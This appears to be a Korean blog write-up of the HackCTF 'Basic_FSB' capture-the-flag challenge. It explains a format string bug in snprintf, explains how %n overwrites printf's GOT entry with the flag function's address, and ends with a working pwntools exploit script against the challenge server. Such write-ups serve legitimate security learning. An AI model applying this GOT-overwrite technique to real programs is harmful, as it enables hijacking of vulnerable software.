상세 컨텐츠

본문 제목

[HackCTF] Basic_FSB

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 1. 17:15

본문

728x90
반응형

1. IDA

 

 

snprintf 함수는 character stringformats0x400 바이트를 적는다.

snprintf() 함수에서 format string bug 취약점 발생

 

2. 보호기법 확인

 

 

3. pseudo code

 

 

 

4. 실행

 

 

AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다.

 

FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다.

%n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다.

 

따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite할 수 있는 것이다.

 

이 문제의 경우, 첫 번째 입력값이 두 번째에 들어가 있으므로 

 

printf@got %x %n

 

이렇게 주면 %n에 써있는 값은 원래는 printf@got인데 flag 주소의 10진수 값으로 덮으면 printf@got에 flag 주소 값이 적혀서  printf 함수 호출 시 flag 함수가 실행될 수 있다.

 

AAAA %x %x %n 을 입력했다면 AAAA(4)+공백(1)+%x(1)+공백(1)+%x(8)+공백(1) = 16 값을 0x20782520에 넣는다. 따라서 printf@got %x %n 을 주면, %n은 출력되는 내용을 카운팅해서 printf@got 값에 %n 값을 넣게된다.

 

이것을 사용해서 %x에는 flag의 10진수 값 - 4(printf@got 주소 길이)로 주고 %n을 주면, 최종적으로 %n은 printf@got 길이 + flag 10진수 값 - printf@got 길이 = flag 10진수 값

이 된다.

 

flag 주소 : 0x80485b4 => 10진수 : 134,514,100

 

134514100 - 4 = 134514096 => printf@got 다음에 %134514096x 를 준다.

 

5. exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb")
flag = elf.symbols['flag']
printf_got = elf.got['printf']

pay = p32(printf_got)
pay += '%' + str(int(flag)-4) + 'x'
pay += '%n'

p.sendlineafter("input : ", pay)
#gdb.attach(p)
p.interactive()

 

6. exploit

 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2020.01.01
[HackCTF] x64 Buffer Overflow  (0) 2020.01.01
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2020.01.01
[HackCTF] Basic_bof #2  (0) 2020.01.01
[HackCTF] Basic_bof #1  (0) 2020.01.01

관련글 더보기